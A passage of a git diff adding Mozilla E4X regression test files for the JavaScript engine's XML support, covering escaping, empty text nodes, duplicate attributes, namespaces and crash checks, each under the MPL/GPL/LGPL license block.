+ * of those above. If you wish to allow use of your version of this file only
+ * under the terms of either the GPL or the LGPL, and not to allow others to
+ * use your version of this file under the terms of the MPL, indicate your
+ * decision by deleting the provisions above and replace them with the notice
+ * and other provisions required by the GPL or the LGPL. If you do not delete
+ * the provisions above, a recipient may use your version of this file under
+ * the terms of any one of the MPL, the GPL or the LGPL.
+ *
+ * ***** END LICENSE BLOCK ***** */
+
+gTestfile = 'regress-264369.js';
+
+START("toXMLString() should escape '>'");
+printBugNumber(264369);
+
+var x = <a/>;
+var chars = "<>&";
+x.b = chars;
+
+TEST(1, "<b><>&</b>", x.b.toXMLString());
+
+END();
diff --git a/e4x/Regress/regress-271545.js b/e4x/Regress/regress-271545.js
new file mode 100644
index 0000000..ba48dc8
--- /dev/null
+++ b/e4x/Regress/regress-271545.js
@@ -0,0 +1,74 @@
+/* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*-
+ *
+ * ***** BEGIN LICENSE BLOCK *****
+ * Version: MPL 1.1/GPL 2.0/LGPL 2.1
+ *
+ * The contents of this file are subject to the Mozilla Public License Version
+ * 1.1 (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ * http://www.mozilla.org/MPL/
+ *
+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the
+ * License.
+ *
+ * The Original Code is Rhino code, released
+ * May 6, 1999.
+ *
+ * The Initial Developer of the Original Code is
+ * Netscape Communications Corporation.
+ * Portions created by the Initial Developer are Copyright (C) 1997-2000
+ * the Initial Developer. All Rights Reserved.
+ *
+ * Contributor(s):
+ * Igor Bukanov
+ * Werner Sharp,
+ *
+ * Alternatively, the contents of this file may be used under the terms of
+ * either the GNU General Public License Version 2 or later (the "GPL"), or
+ * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
+ * in which case the provisions of the GPL or the LGPL are applicable instead
+ * of those above. If you wish to allow use of your version of this file only
+ * under the terms of either the GPL or the LGPL, and not to allow others to
+ * use your version of this file under the terms of the MPL, indicate your
+ * decision by deleting the provisions above and replace them with the notice
+ * and other provisions required by the GPL or the LGPL. If you do not delete
+ * the provisions above, a recipient may use your version of this file under
+ * the terms of any one of the MPL, the GPL or the LGPL.
+ *
+ * ***** END LICENSE BLOCK ***** */
+
+gTestfile = 'regress-271545.js';
+
+START('XML("") should create empty text node');
+printBugNumber(271545);
+
+// Check that text node should ignore any attempt to add a child to it
+
+
+var x;
+
+x = new XML();
+x.a = "foo";
+TEST_XML(1, "", x);
+
+x = new XML("");
+x.a = "foo";
+TEST_XML(2, "", x);
+
+x = new XML(null);
+x.a = "foo";
+TEST_XML(3, "", x);
+
+x = new XML(undefined);
+x.a = "foo";
+TEST_XML(4, "", x);
+
+var textNodeContent = "some arbitrary text without XML markup";
+
+x = new XML(textNodeContent);
+x.a = "foo";
+TEST_XML(5, textNodeContent, x);
+
+END();
diff --git a/e4x/Regress/regress-277650.js b/e4x/Regress/regress-277650.js
new file mode 100755
index 0000000..407cce0
--- /dev/null
+++ b/e4x/Regress/regress-277650.js
@@ -0,0 +1,64 @@
+/* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */
+/* ***** BEGIN LICENSE BLOCK *****
+ * Version: MPL 1.1/GPL 2.0/LGPL 2.1
+ *
+ * The contents of this file are subject to the Mozilla Public License Version
+ * 1.1 (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ * http://www.mozilla.org/MPL/
+ *
+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the
+ * License.
+ *
+ * The Original Code is JavaScript Engine testing utilities.
+ *
+ * The Initial Developer of the Original Code is
+ * Mozilla Foundation.
+ * Portions created by the Initial Developer are Copyright (C) 2005
+ * the Initial Developer. All Rights Reserved.
+ *
+ * Contributor(s): Martin Honnen <martin.honnen@gmx.de>
+ * Bob Clary <bob@bclary.com>
+ *
+ * Alternatively, the contents of this file may be used under the terms of
+ * either the GNU General Public License Version 2 or later (the "GPL"), or
+ * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
+ * in which case the provisions of the GPL or the LGPL are applicable instead
+ * of those above. If you wish to allow use of your version of this file only
+ * under the terms of either the GPL or the LGPL, and not to allow others to
+ * use your version of this file under the terms of the MPL, indicate your
+ * decision by deleting the provisions above and replace them with the notice
+ * and other provisions required by the GPL or the LGPL. If you do not delete
+ * the provisions above, a recipient may use your version of this file under
+ * the terms of any one of the MPL, the GPL or the LGPL.
+ *
+ * ***** END LICENSE BLOCK ***** */
+
+gTestfile = 'regress-277650.js';
+
+// testcase from Martin.Honnen@arcor.de
+
+var summary = 'xml:lang attribute in XML literal';
+var BUGNUMBER = 277650;
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+START(summary);
+
+expect = 'no error';
+try
+{
+ var xml = <root><text xml:lang="en">ECMAScript for XML</text></root>;
+ actual = 'no error';
+}
+catch(e)
+{
+ actual = 'error';
+}
+
+TEST(1, expect, actual);
+
+END();
diff --git a/e4x/Regress/regress-277664.js b/e4x/Regress/regress-277664.js
new file mode 100755
index 0000000..607efdd
--- /dev/null
+++ b/e4x/Regress/regress-277664.js
@@ -0,0 +1,64 @@
+/* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */
+/* ***** BEGIN LICENSE BLOCK *****
+ * Version: MPL 1.1/GPL 2.0/LGPL 2.1
+ *
+ * The contents of this file are subject to the Mozilla Public License Version
+ * 1.1 (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ * http://www.mozilla.org/MPL/
+ *
+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the
+ * License.
+ *
+ * The Original Code is JavaScript Engine testing utilities.
+ *
+ * The Initial Developer of the Original Code is
+ * Mozilla Foundation.
+ * Portions created by the Initial Developer are Copyright (C) 2005
+ * the Initial Developer. All Rights Reserved.
+ *
+ * Contributor(s): Martin Honnen <martin.honnen@gmx.de>
+ * Bob Clary <bob@bclary.com>
+ *
+ * Alternatively, the contents of this file may be used under the terms of
+ * either the GNU General Public License Version 2 or later (the "GPL"), or
+ * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
+ * in which case the provisions of the GPL or the LGPL are applicable instead
+ * of those above. If you wish to allow use of your version of this file only
+ * under the terms of either the GPL or the LGPL, and not to allow others to
+ * use your version of this file under the terms of the MPL, indicate your
+ * decision by deleting the provisions above and replace them with the notice
+ * and other provisions required by the GPL or the LGPL. If you do not delete
+ * the provisions above, a recipient may use your version of this file under
+ * the terms of any one of the MPL, the GPL or the LGPL.
+ *
+ * ***** END LICENSE BLOCK ***** */
+
+gTestfile = 'regress-277664.js';
+
+// testcase from Martin.Honnen@arcor.de
+
+var summary = 'duplicate attribute names';
+var BUGNUMBER = 277664;
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+START(summary);
+
+expect = 'error';
+try
+{
+ var god = <god name="Kibo" name="Xibo" />;
+ actual = 'no error';
+}
+catch(e)
+{
+ actual = 'error';
+}
+
+TEST(1, expect, actual);
+
+END();
diff --git a/e4x/Regress/regress-277683.js b/e4x/Regress/regress-277683.js
new file mode 100755
index 0000000..cbf7c10
--- /dev/null
+++ b/e4x/Regress/regress-277683.js
@@ -0,0 +1,65 @@
+/* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */
+/* ***** BEGIN LICENSE BLOCK *****
+ * Version: MPL 1.1/GPL 2.0/LGPL 2.1
+ *
+ * The contents of this file are subject to the Mozilla Public License Version
+ * 1.1 (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ * http://www.mozilla.org/MPL/
+ *
+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the
+ * License.
+ *
+ * The Original Code is JavaScript Engine testing utilities.
+ *
+ * The Initial Developer of the Original Code is
+ * Mozilla Foundation.
+ * Portions created by the Initial Developer are Copyright (C) 2005
+ * the Initial Developer. All Rights Reserved.
+ *
+ * Contributor(s): Martin Honnen <martin.honnen@gmx.de>
+ * Bob Clary <bob@bclary.com>
+ *
+ * Alternatively, the contents of this file may be used under the terms of
+ * either the GNU General Public License Version 2 or later (the "GPL"), or
+ * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
+ * in which case the provisions of the GPL or the LGPL are applicable instead
+ * of those above. If you wish to allow use of your version of this file only
+ * under the terms of either the GPL or the LGPL, and not to allow others to
+ * use your version of this file under the terms of the MPL, indicate your
+ * decision by deleting the provisions above and replace them with the notice
+ * and other provisions required by the GPL or the LGPL. If you do not delete
+ * the provisions above, a recipient may use your version of this file under
+ * the terms of any one of the MPL, the GPL or the LGPL.
+ *
+ * ***** END LICENSE BLOCK ***** */
+
+gTestfile = 'regress-277683.js';
+
+// testcase from Martin.Honnen@arcor.de
+
+var summary = 'processing instruction with target name XML';
+var BUGNUMBER = 277683;
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+START(summary);
+
+expect = 'error';
+try
+{
+ XML.ignoreProcessingInstructions = false;
+ var xml = <root><child>Kibo</child><?xml version="1.0"?></root>;
+ actual = 'no error';
+}
+catch(e)
+{
+ actual = 'error';
+}
+
+TEST(1, expect, actual);
+
+END();
diff --git a/e4x/Regress/regress-277779.js b/e4x/Regress/regress-277779.js
new file mode 100755
index 0000000..f0c716c
--- /dev/null
+++ b/e4x/Regress/regress-277779.js
@@ -0,0 +1,60 @@
+/* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */
+/* ***** BEGIN LICENSE BLOCK *****
+ * Version: MPL 1.1/GPL 2.0/LGPL 2.1
+ *
+ * The contents of this file are subject to the Mozilla Public License Version
+ * 1.1 (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ * http://www.mozilla.org/MPL/
+ *
+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the
+ * License.
+ *
+ * The Original Code is JavaScript Engine testing utilities.
+ *
+ * The Initial Developer of the Original Code is
+ * Mozilla Foundation.
+ * Portions created by the Initial Developer are Copyright (C) 2005
+ * the Initial Developer. All Rights Reserved.
+ *
+ * Contributor(s): Martin Honnen <martin.honnen@gmx.de>
+ * Bob Clary <bob@bclary.com>
+ *
+ * Alternatively, the contents of this file may be used under the terms of
+ * either the GNU General Public License Version 2 or later (the "GPL"), or
+ * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
+ * in which case the provisions of the GPL or the LGPL are applicable instead
+ * of those above. If you wish to allow use of your version of this file only
+ * under the terms of either the GPL or the LGPL, and not to allow others to
+ * use your version of this file under the terms of the MPL, indicate your
+ * decision by deleting the provisions above and replace them with the notice
+ * and other provisions required by the GPL or the LGPL. If you do not delete
+ * the provisions above, a recipient may use your version of this file under
+ * the terms of any one of the MPL, the GPL or the LGPL.
+ *
+ * ***** END LICENSE BLOCK ***** */
+
+gTestfile = 'regress-277779.js';
+
+// testcase from Martin.Honnen@arcor.de
+
+var summary = 'call setNamespace on element with already existing default namespace';
+var BUGNUMBER = 277779;
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+START(summary);
+
+var xhtml2NS = new Namespace('http://www.w3.org/2002/06/xhtml2');
+var xml = <html xmlns="http://www.w3.org/1999/xhtml" />;
+xml.setNamespace(xhtml2NS);
+
+
+expect = 'http://www.w3.org/2002/06/xhtml2';
+actual = xml.namespace().toString();
+TEST(1, expect, actual);
+
+END();
diff --git a/e4x/Regress/regress-277935.js b/e4x/Regress/regress-277935.js
new file mode 100644
index 0000000..60389f4
--- /dev/null
+++ b/e4x/Regress/regress-277935.js
@@ -0,0 +1,68 @@
+/* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*-
+ *
+ * ***** BEGIN LICENSE BLOCK *****
+ * Version: MPL 1.1/GPL 2.0/LGPL 2.1
+ *
+ * The contents of this file are subject to the Mozilla Public License Version
+ * 1.1 (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ * http://www.mozilla.org/MPL/
+ *
+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the
+ * License.
+ *
+ * The Original Code is Rhino code, released
+ * May 6, 1999.
+ *
+ * The Initial Developer of the Original Code is
+ * Netscape Communications Corporation.
+ * Portions created by the Initial Developer are Copyright (C) 1997-2000
+ * the Initial Developer. All Rights Reserved.
+ *
+ * Contributor(s):
+ * Igor Bukanov
+ *
+ * Alternatively, the contents of this file may be used under the terms of
+ * either the GNU General Public License Version 2 or later (the "GPL"), or
+ * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
+ * in which case the provisions of the GPL or the LGPL are applicable instead
+ * of those above. If you wish to allow use of your version of this file only
+ * under the terms of either the GPL or the LGPL, and not to allow others to
+ * use your version of this file under the terms of the MPL, indicate your
+ * decision by deleting the provisions above and replace them with the notice
+ * and other provisions required by the GPL or the LGPL. If you do not delete
+ * the provisions above, a recipient may use your version of this file under
+ * the terms of any one of the MPL, the GPL or the LGPL.
+ *
+ * ***** END LICENSE BLOCK ***** */
+
+gTestfile = 'regress-277935.js';
+
+START('XML("") should create empty text node');
+printBugNumber(277935);
+
+// Check that assignments like "a..b = c" causes proper error
+
+var expect = 'PASS1,PASS2';
+var actual = '';
+
+var msg = <foo><bar><s/></bar></foo>;
+
+try {
+ eval('msg..s = 0');
+ SHOULD_THROW(1);
+} catch (e) {
+ actual += 'PASS1';
+}
+
+try {
+ eval('msg..s += 0');
+ SHOULD_THROW(2);
+} catch (e) {
+ actual += ',PASS2';
+}
+
+TEST(1, expect, actual);
+END();
diff --git a/e4x/Regress/regress-278112.js b/e4x/Regress/regress-278112.js
new file mode 100644
index 0000000..913efe7
--- /dev/null
+++ b/e4x/Regress/regress-278112.js
@@ -0,0 +1,55 @@
+/* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*-
+ *
+ * ***** BEGIN LICENSE BLOCK *****
+ * Version: MPL 1.1/GPL 2.0/LGPL 2.1
+ *
+ * The contents of this file are subject to the Mozilla Public License Version
+ * 1.1 (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ * http://www.mozilla.org/MPL/
+ *
+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the
+ * License.
+ *
+ * The Original Code is Rhino code, released
+ * May 6, 1999.
+ *
+ * The Initial Developer of the Original Code is
+ * Netscape Communications Corporation.
+ * Portions created by the Initial Developer are Copyright (C) 1997-2000
+ * the Initial Developer. All Rights Reserved.
+ *
+ * Contributor(s):
+ * Igor Bukanov
+ * Werner Sharp,
+ *
+ * Alternatively, the contents of this file may be used under the terms of
+ * either the GNU General Public License Version 2 or later (the "GPL"), or
+ * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
+ * in which case the provisions of the GPL or the LGPL are applicable instead
+ * of those above. If you wish to allow use of your version of this file only
+ * under the terms of either the GPL or the LGPL, and not to allow others to
+ * use your version of this file under the terms of the MPL, indicate your
+ * decision by deleting the provisions above and replace them with the notice
+ * and other provisions required by the GPL or the LGPL. If you do not delete
+ * the provisions above, a recipient may use your version of this file under
+ * the terms of any one of the MPL, the GPL or the LGPL.
+ *
+ * ***** END LICENSE BLOCK ***** */
+
+gTestfile = 'regress-278112.js';
+
+START('setNamespace() should not affect namespaceDeclarations()');
+printBugNumber('278112');
+
+var xhtml1NS = new Namespace('http://www.w3.org/1999/xhtml');
+var xhtml = <html />;
+xhtml.setNamespace(xhtml1NS);
+
+TEST(1, 0, xhtml.namespaceDeclarations().length);
+
+TEST(2, xhtml1NS, xhtml.namespace());
+
+END();
diff --git a/e4x/Regress/regress-283349.js b/e4x/Regress/regress-283349.js
new file mode 100755
index 0000000..39a8873
--- /dev/null
+++ b/e4x/Regress/regress-283349.js
@@ -0,0 +1,57 @@
+/* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */
+/* ***** BEGIN LICENSE BLOCK *****
+ * Version: MPL 1.1/GPL 2.0/LGPL 2.1
+ *
+ * The contents of this file are subject to the Mozilla Public License Version
+ * 1.1 (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ * http://www.mozilla.org/MPL/
+ *
+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the
+ * License.
+ *
+ * The Original Code is JavaScript Engine testing utilities.
+ *
+ * The Initial Developer of the Original Code is
+ * Mozilla Foundation.
+ * Portions created by the Initial Developer are Copyright (C) 2005
+ * the Initial Developer. All Rights Reserved.
+ *
+ * Contributor(s): Igor Bukanov <igor@mir2.org>
+ *
+ * Alternatively, the contents of this file may be used under the terms of
+ * either the GNU General Public License Version 2 or later (the "GPL"), or
+ * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
+ * in which case the provisions of the GPL or the LGPL are applicable instead
+ * of those above. If you wish to allow use of your version of this file only
+ * under the terms of either the GPL or the LGPL, and not to allow others to
+ * use your version of this file under the terms of the MPL, indicate your
+ * decision by deleting the provisions above and replace them with the notice
+ * and other provisions required by the GPL or the LGPL. If you do not delete
+ * the provisions above, a recipient may use your version of this file under
+ * the terms of any one of the MPL, the GPL or the LGPL.
+ *
+ * ***** END LICENSE BLOCK ***** */
+
+gTestfile = 'regress-283349.js';
+
+var summary = "13.3.5.4 - [[GetNamespace]]";
+var BUGNUMBER = 283349;
+var actual = 'Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+START(summary);
+
+var x = <x>text</x>;
+var ns = new Namespace("http://foo.com/bar");
+x.addNamespace(ns);
+printStatus(x.toXMLString());
+
+actual = 'No Crash';
+
+TEST("13.3.5.4 - [[GetNamespace]]", expect, actual);
+
+END();
diff --git a/e4x/Regress/regress-290056.js b/e4x/Regress/regress-290056.js
new file mode 100755
index 0000000..c36e05a
--- /dev/null
+++ b/e4x/Regress/regress-290056.js
@@ -0,0 +1,61 @@
+/* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */
+/* ***** BEGIN LICENSE BLOCK *****
+ * Version: MPL 1.1/GPL 2.0/LGPL 2.1
+ *
+ * The contents of this file are subject to the Mozilla Public License Version
+ * 1.1 (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ * http://www.mozilla.org/MPL/
+ *
+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the
+ * License.
+ *
+ * The Original Code is JavaScript Engine testing utilities.
+ *
+ * The Initial Developer of the Original Code is
+ * Mozilla Foundation.
+ * Portions created by the Initial Developer are Copyright (C) 2005
+ * the Initial Developer. All Rights Reserved.
+ *
+ * Contributor(s): Martin Honnen
+ *
+ * Alternatively, the contents of this file may be used under the terms of
+ * either the GNU General Public License Version 2 or later (the "GPL"), or
+ * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
+ * in which case the provisions of the GPL or the LGPL are applicable instead
+ * of those above. If you wish to allow use of your version of this file only
+ * under the terms of either the GPL or the LGPL, and not to allow others to
+ * use your version of this file under the terms of the MPL, indicate your
+ * decision by deleting the provisions above and replace them with the notice
+ * and other provisions required by the GPL or the LGPL. If you do not delete
+ * the provisions above, a recipient may use your version of this file under
+ * the terms of any one of the MPL, the GPL or the LGPL.
+ *
+ * ***** END LICENSE BLOCK ***** */
+
+gTestfile = 'regress-290056.js';
+
+var summary = 'Dont crash when serializing an XML object where the name ' +
+ 'of an attribute was changed with setName';
+
+var BUGNUMBER = 290056;
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+START(summary);
+
+var link = <link type="simple" />;
+var xlinkNamespace = new Namespace('xlink', 'http://www.w3.org/1999/xlink');
+link.addNamespace(xlinkNamespace);
+printStatus('In scope namespace: ' + link.inScopeNamespaces());
+printStatus('XML markup: ' + link.toXMLString());
+link.@type.setName(new QName(xlinkNamespace.uri, 'type'));
+printStatus('name(): ' + link.@*::*[0].name());
+printStatus(link.toXMLString());
+
+TEST(1, expect, actual);
+
+END();
diff --git a/e4x/Regress/regress-290499.js b/e4x/Regress/regress-290499.js
new file mode 100755
index 0000000..dacba02
--- /dev/null
+++ b/e4x/Regress/regress-290499.js
@@ -0,0 +1,52 @@
+/* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */
+/* ***** BEGIN LICENSE BLOCK *****
+ * Version: MPL 1.1/GPL 2.0/LGPL 2.1
+ *
+ * The contents of this file are subject to the Mozilla Public License Version
+ * 1.1 (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ * http://www.mozilla.org/MPL/
+ *
+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the
+ * License.
+ *
+ * The Original Code is JavaScript Engine testing utilities.
+ *
+ * The Initial Developer of the Original Code is
+ * Mozilla Foundation.
+ * Portions created by the Initial Developer are Copyright (C) 2005
+ * the Initial Developer. All Rights Reserved.
+ *
+ * Contributor(s): Martin Honnen
+ *
+ * Alternatively, the contents of this file may be used under the terms of
+ * either the GNU General Public License Version 2 or later (the "GPL"), or
+ * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
+ * in which case the provisions of the GPL or the LGPL are applicable instead
+ * of those above. If you wish to allow use of your version of this file only
+ * under the terms of either the GPL or the LGPL, and not to allow others to
+ * use your version of this file under the terms of the MPL, indicate your
+ * decision by deleting the provisions above and replace them with the notice
+ * and other provisions required by the GPL or the LGPL. If you do not delete
+ * the provisions above, a recipient may use your version of this file under
+ * the terms of any one of the MPL, the GPL or the LGPL.
+ *
+ * ***** END LICENSE BLOCK ***** */
+
+gTestfile = 'regress-290499.js';
+
+var summary = "11.1.5 XMLList Initialiser Don't Crash with empty Initializer";
+var BUGNUMBER = 290499;
+var actual = "No Crash";
+var expect = "No Crash";
+
+printBugNumber(BUGNUMBER);
+START(summary);
+
+var emptyList = <></>;
+
+TEST(1, expect, actual);
+
+END();
diff --git a/e4x/Regress/regress-301553.js b/e4x/Regress/regress-301553.js
new file mode 100755
index 0000000..b376162
--- /dev/null
+++ b/e4x/Regress/regress-301553.js
@@ -0,0 +1,60 @@
+/* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */
+/* ***** BEGIN LICENSE BLOCK *****
+ * Version: MPL 1.1/GPL 2.0/LGPL 2.1
+ *
+ * The contents of this file are subject to the Mozilla Public License Version
+ * 1.1 (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ * http://www.mozilla.org/MPL/
+ *
+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the
+ * License.
+ *
+ * The Original Code is JavaScript Engine testing utilities.
+ *
+ * The Initial Developer of the Original Code is
+ * Mozilla Foundation.
+ * Portions created by the Initial Developer are Copyright (C) 2005
+ * the Initial Developer. All Rights Reserved.
+ *
+ * Contributor(s): Wladimir Palant <trev@gtchat.de>
+ * Bob Clary <bob@bclary.com>
+ *
+ * Alternatively, the contents of this file may be used under the terms of
+ * either the GNU General Public License Version 2 or later (the "GPL"), or
+ * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
+ * in which case the provisions of the GPL or the LGPL are applicable instead
+ * of those above. If you wish to allow use of your version of this file only
+ * under the terms of either the GPL or the LGPL, and not to allow others to
+ * use your version of this file under the terms of the MPL, indicate your
+ * decision by deleting the provisions above and replace them with the notice
+ * and other provisions required by the GPL or the LGPL. If you do not delete
+ * the provisions above, a recipient may use your version of this file under
+ * the terms of any one of the MPL, the GPL or the LGPL.
+ *
+ * ***** END LICENSE BLOCK ***** */
+
+gTestfile = 'regress-301553.js';
+
+var summary = "E4X - Should not repress exceptions";
+var BUGNUMBER = 301553;
+var actual = 'No exception';
+var expect = 'exception';
+
+printBugNumber(BUGNUMBER);
+START(summary);
+
+try
+{
+ var x = <xml/>;
+ Object.toString.call(x);
+}
+catch(e)
+{
+ actual = 'exception';
+}
+
+TEST(1, expect, actual);
+END();
diff --git a/e4x/Regress/regress-301573.js b/e4x/Regress/regress-301573.js
new file mode 100755
index 0000000..30ca98c
--- /dev/null
+++ b/e4x/Regress/regress-301573.js
@@ -0,0 +1,57 @@
+/* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */
+/* ***** BEGIN LICENSE BLOCK *****
+ * Version: MPL 1.1/GPL 2.0/LGPL 2.1
+ *
+ * The contents of this file are subject to the Mozilla Public License Version
+ * 1.1 (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ * http://www.mozilla.org/MPL/
+ *
+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the
+ * License.
+ *
+ * The Original Code is JavaScript Engine testing utilities.
+ *
+ * The Initial Developer of the Original Code is
+ * Mozilla Foundation.
+ * Portions created by the Initial Developer are Copyright (C) 2005
+ * the Initial Developer. All Rights Reserved.
+ *
+ * Contributor(s): Seno.Aiko@gmail.com
+ * Bob Clary <bob@bclary.com>
+ *
+ * Alternatively, the contents of this file may be used under the terms of
+ * either the GNU General Public License Version 2 or later (the "GPL"), or
+ * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
+ * in which case the provisions of the GPL or the LGPL are applicable instead
+ * of those above. If you wish to allow use of your version of this file only
+ * under the terms of either the GPL or the LGPL, and not to allow others to
+ * use your version of this file under the terms of the MPL, indicate your
+ * decision by deleting the provisions above and replace them with the notice
+ * and other provisions required by the GPL or the LGPL. If you do not delete
+ * the provisions above, a recipient may use your version of this file under
+ * the terms of any one of the MPL, the GPL or the LGPL.
+ *
+ * ***** END LICENSE BLOCK ***** */
+
+gTestfile = 'regress-301573.js';
+
+var summary = "E4X - Entities";
+var BUGNUMBER = 301573;
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+START(summary);
+
+actual = <xml><</xml>;
+
+TEST(1, '<', actual.toString());
+
+actual = <xml>&</xml>;
+
+TEST(2, '&', actual.toString());
+
+END();
diff --git a/e4x/Regress/regress-301596.js b/e4x/Regress/regress-301596.js
new file mode 100755
index 0000000..70f0b3f
--- /dev/null
+++ b/e4x/Regress/regress-301596.js
@@ -0,0 +1,60 @@
+/* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */
+/* ***** BEGIN LICENSE BLOCK *****
+ * Version: MPL 1.1/GPL 2.0/LGPL 2.1
+ *
+ * The contents of this file are subject to the Mozilla Public License Version
+ * 1.1 (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ * http://www.mozilla.org/MPL/
+ *
+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the
+ * License.
+ *
+ * The Original Code is JavaScript Engine testing utilities.
+ *
+ * The Initial Developer of the Original Code is
+ * Mozilla Foundation.
+ * Portions created by the Initial Developer are Copyright (C) 2005
+ * the Initial Developer. All Rights Reserved.
+ *
+ * Contributor(s): Mike Shaver <shaver@mozilla.org>
+ * Bob Clary <bob@bclary.com>
+ *
+ * Alternatively, the contents of this file may be used under the terms of
+ * either the GNU General Public License Version 2 or later (the "GPL"), or
+ * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
+ * in which case the provisions of the GPL or the LGPL are applicable instead
+ * of those above. If you wish to allow use of your version of this file only
+ * under the terms of either the GPL or the LGPL, and not to allow others to
+ * use your version of this file under the terms of the MPL, indicate your
+ * decision by deleting the provisions above and replace them with the notice
+ * and other provisions required by the GPL or the LGPL. If you do not delete
+ * the provisions above, a recipient may use your version of this file under
+ * the terms of any one of the MPL, the GPL or the LGPL.
+ *
+ * ***** END LICENSE BLOCK ***** */
+
+gTestfile = 'regress-301596.js';
+
+var summary = "E4X - Do not crash with XMLList filters";
+var BUGNUMBER = 301596;
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+START(summary);
+
+try
+{
+ <xml/>.(@a == 1);
+ throw 5;
+}
+catch (e)
+{
+}
+
+TEST(1, expect, actual);
+
+END();
diff --git a/e4x/Regress/regress-301692.js b/e4x/Regress/regress-301692.js
new file mode 100755
index 0000000..ad4c89e
--- /dev/null
+++ b/e4x/Regress/regress-301692.js
@@ -0,0 +1,83 @@
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* ***** BEGIN LICENSE BLOCK *****
+ * Version: MPL 1.1/GPL 2.0/LGPL 2.1
+ *
+ * The contents of this file are subject to the Mozilla Public License Version
+ * 1.1 (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ * http://www.mozilla.org/MPL/
+ *
